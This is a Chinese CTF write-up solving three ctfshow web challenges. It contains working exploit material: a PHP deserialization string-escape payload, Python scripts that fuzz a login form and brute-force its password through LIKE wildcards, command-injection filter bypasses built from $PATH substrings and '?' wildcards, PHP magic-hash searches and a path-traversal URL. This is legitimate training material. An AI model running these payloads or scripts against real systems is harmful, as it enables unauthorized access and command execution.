web1_此夜圆
下载源码:
<?php
error_reporting(0);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='yu22x')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
读源码可知,我们需要反序列将password的值赋为‘yu22x’。
O:1:"a":2:{s:5:"uname";s:4:"xxxx";s:8:"password";s:5:"yu22x";}
但是无果,因为password已被定义,无法修改。但由于filter函数的存在,它会将'Firebasky'字符串替换为'Firebaskyup' ,将长度增加了2个字符。那我们可以通过字符串逃逸即逃逸出另一个我们想要的字符。
s:8:"password";s:5:"yu22x"
由于要达到闭合的效果,为了方便,详细的为:
";s:8:"password";s:5:"yu22x";}
str_len('";s:8:"password";s:5:"yu22x";}')=30
所以我们需要吐出30字符,即15个Firebasky。
playload:
?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}
web3_莫负婵娟
level1:
网页源码得知用户名和相关的sql查询语句:
<!-- username yu22x -->
<!-- SELECT * FROM users where username like binary('$username') and password like binary('$password')-->
通过fuzz测试得到过滤字符:
import requests
sql_char = ['select', 'information_schema', 'table_name', 'table_schema', 'tables', 'column', 'union', 'and',
'or', 'sleep', 'where', 'from', 'limit', 'group', 'by', 'like', 'prepare', 'as', 'if', 'char',
'ascii', 'ord', 'mid', 'substr', 'length', 'left', 'right', 'substring', 'handler', 'updatexml',
'extractvalue', 'benchmark', 'insert', 'update', 'all', '@', '#', '^', '&', '|', '*', '\'', '"',
'~', '`', '(', ')', '{', '--', '=', '<', '>', '!', '/', '\\', ' ', '+', '_', '%']
chars = []
fei = []
for char in sql_char:
data = {
'username': char,
'password': ''
}
url = 'https://1361929e-e581-48c9-8a34-9e862648d749.challenge.ctf.show/login.php'
res = requests.post(url, data=data)
if 'hack' in res.text:
print("非法字符: {0}".format(char))
fei.append(char)
else:
chars.append(char)
print("非法字符集: {0}".format(fei))
print("通过: {0}".format(chars))
非法字符集: ['select', 'union', 'sleep', '#', '^', "'", '"', '(', '--', '\\', '%']
通过: ['information_schema', 'table_name', 'table_schema', 'tables', 'column', 'and', 'or', 'where', 'from', 'limit', 'group', 'by', 'like', 'prepare', 'as', 'if', 'char', 'ascii', 'ord', 'mid', 'substr', 'length', 'left', 'right', 'substring', 'handler', 'updatexml', 'extractvalue', 'benchmark', 'insert', 'update', 'all', '@', '&', '|', '*', '~', '`', ')', '{', '=', '<', '>', '!', '/', ' ', '+', '_']
过滤挺多的。回头看sql语句,是用like来进行模糊匹配,即可以用通配符的方式来查询,即
'%'匹配所有字符,'_'匹配单个字符。
有fuzz测试得知,%是被过滤的,即只能使用"_"来进行单个字符的匹配。
通过控制"_"的长度可以得知密码的长度为32位:
import requests
url = 'https://ee58a2ee-f1bf-4eaa-a3da-222f1f92497e.challenge.ctf.show/login.php'
p, i = '_', 1
while True:
r = requests.post(url, data={'username': 'yu22x', 'password': p}).text
print((r, i))
i += 1
p += '_'
('<div align="center">wrong username or password</div>', 28)
('<div align="center">wrong username or password</div>', 29)
('<div align="center">wrong username or password</div>', 30)
('<div align="center">wrong username or password</div>', 31)
('<div align="center">I have filtered all the characters. Why can you come in? get out!</div>', 32)
('<div align="center">wrong username or password</div>', 33)
('<div align="center">wrong username or password</div>', 34)
('<div align="center">wrong username or password</div>', 35)
密码爆破脚本:
import requests
url = 'https://1361929e-e581-48c9-8a34-9e862648d749.challenge.ctf.show/login.php'
passwd = ''
chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
for i in range(32):
for char in chars:
data = {
'username': 'yu22x',
'password': passwd + char + (31 - i) * '_'
}
r = requests.post(url, data=data).text
if 'wrong' not in r:
passwd += char
print(passwd)
break
# 不建议,速度慢
import requests
url = 'https://1361929e-e581-48c9-8a34-9e862648d749.challenge.ctf.show/login.php'
passwd = ''
for i in range(32):
for j in range(32, 127):
# chr(95)=='_'
if j == 95:
continue
char = chr(j)
data = {
'username': 'yu22x',
'password': passwd + char + (31 - i) * '_'
}
r = requests.post(url, data=data).text
if 'wrong' not in r and 'hack' not in r:
passwd += char
print(passwd)
break
password:67815b0c009ee970fe4014abaa3Fa6A0
level2:
同命名注入。
通过常规的手法:
127.0.0.1;ls
127.77||ls
127.0.0.1&&ls
均回显:
evil input
结合提示:
环境变量 +linux字符串截取 + 通配符
实验可行。
127.0.0.1;${PATH:5:1}${PATH:2:1} //127.0.0.1;ls
P1099.php flag.php index.php login.php style.css style2.css
127.0.0.1;${PATH:14:1}${PATH:5:1} ???????? //127.0.0.1;nl ???????? -> flag.php
查看网页源码得到flag
web2_故人心
level1:
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0)
<?php
for($i=14;$i<=999;$i++){
$a='1e-';
$a=$a."$i";
if($a!=0 && $a**2==0 && is_numeric($a)){
echo $a."\n";
}
}
?>
经测试如下范围可行:
1e-162~1e-323
level2:
$d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
在robots.txt中得到提示,在更具是弱比较,即,我们只需要满足“0e”开头即可。
<?php
$i=1;
while(1){
$b='0e'.$i.'024452';
if(hash('md2',$b)==$b){
echo $b."\n";
break;
}
$i++;
}
$j=1;
while(1){
$c='0e'.$j.'48399';
if(hash("md2",hash("md2",$c))==$c){
echo $c;
break;
}
$j++;
}
?>
level3:
if(filter_var($url[1],FILTER_VALIDATE_URL)){
$host=parse_url($url[1]);
print_r($host);
if(preg_match('/ctfshow\.com$/',$host['host'])){
print_r(file_get_contents($url[1]));
}else{
echo '差点点就成功了!';
}
}else{
echo 'please give me url!!!';
}
这段代码的逻辑是检查
$url[1]
是否是以 "ctfshow.com" 结尾的 URL,如果是,则获取该 URL 对应的网页内容;如果不是,则输出提示信息。
当php遇到不认识的协议就会当目录处理,在结合file_get_contents()读取文件内容即可获取flag
url=i-dont-konw://ctfshow.com/../../../../../fl0g.txt